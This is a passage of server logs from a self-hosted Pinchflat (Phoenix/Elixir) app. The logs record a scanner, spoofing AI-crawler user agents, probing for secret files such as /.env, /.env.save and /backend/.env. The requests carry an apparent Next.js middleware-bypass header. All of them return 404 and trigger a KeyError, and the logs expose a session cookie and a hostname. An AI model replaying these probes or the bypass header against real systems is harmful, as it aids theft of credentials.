"x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29571.0>, params: %{}, path_info: ["admin", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36; compatible; OAI-SearchBot/1.4; +https://openai.com/searchbot"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/admin/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61UACi5Dg9EQABvsh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29570.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/admin/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33592}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36; compatible; OAI-SearchBot/1.4; +https://openai.com/searchbot", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /admin/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29570.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/admin/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33592}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36; compatible; OAI-SearchBot/1.4; +https://openai.com/searchbot", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest (truncated) 16:49:05.609 [info] GET /.env.save 16:49:05.609 [debug] QUERY OK source="settings" db=0.0ms idle=20.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:05.609 [debug] QUERY OK source="settings" db=0.0ms idle=15.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:05.609 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:05.609 [error] #PID<0.29573.0> running PinchflatWeb.Endpoint (connection #PID<0.29572.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /.env.save ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29572.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.save", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33600}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Kimi-SearchBot/1.0; +https://kimi.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29573.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; Kimi-SearchBot/1.0; +https://kimi.ai/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/.env.save", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61UDRHMmxfz0ABvtB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29572.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.save", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33600}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Kimi-SearchBot/1.0; +https://kimi.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29572.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.save", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33600}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Kimi-SearchBot/1.0; +https://kimi.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined (truncated) 16:49:05.715 [info] GET /backend/.env 16:49:05.715 [debug] QUERY OK source="settings" db=0.1ms idle=122.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:05.716 [debug] QUERY OK source="settings" db=0.0ms idle=120.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:05.716 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:05.716 [error] #PID<0.29575.0> running PinchflatWeb.Endpoint (connection #PID<0.29574.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /backend/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /backend/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29574.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/backend/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33616}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29575.0>, params: %{}, path_info: ["backend", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/backend/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61UcqnRvjq68ABvth"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29574.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/backend/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33616}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /backend/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29574.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/backend/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33616}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info (truncated) 16:49:05.723 [info] GET /src/.env 16:49:05.723 [debug] QUERY OK source="settings" db=0.0ms idle=127.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:05.723 [debug] QUERY OK source="settings" db=0.0ms idle=114.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:05.723 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:05.723 [error] #PID<0.29577.0> running PinchflatWeb.Endpoint (connection #PID<0.29576.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /src/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /src/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29576.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/src/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33618}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; xAI-Grok/1.0; +https://x.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29577.0>, params: %{}, path_info: ["src", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; xAI-Grok/1.0; +https://x.ai/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/src/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61Uecn4ZkS_gABvuB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29576.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/src/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33618}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; xAI-Grok/1.0; +https://x.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: 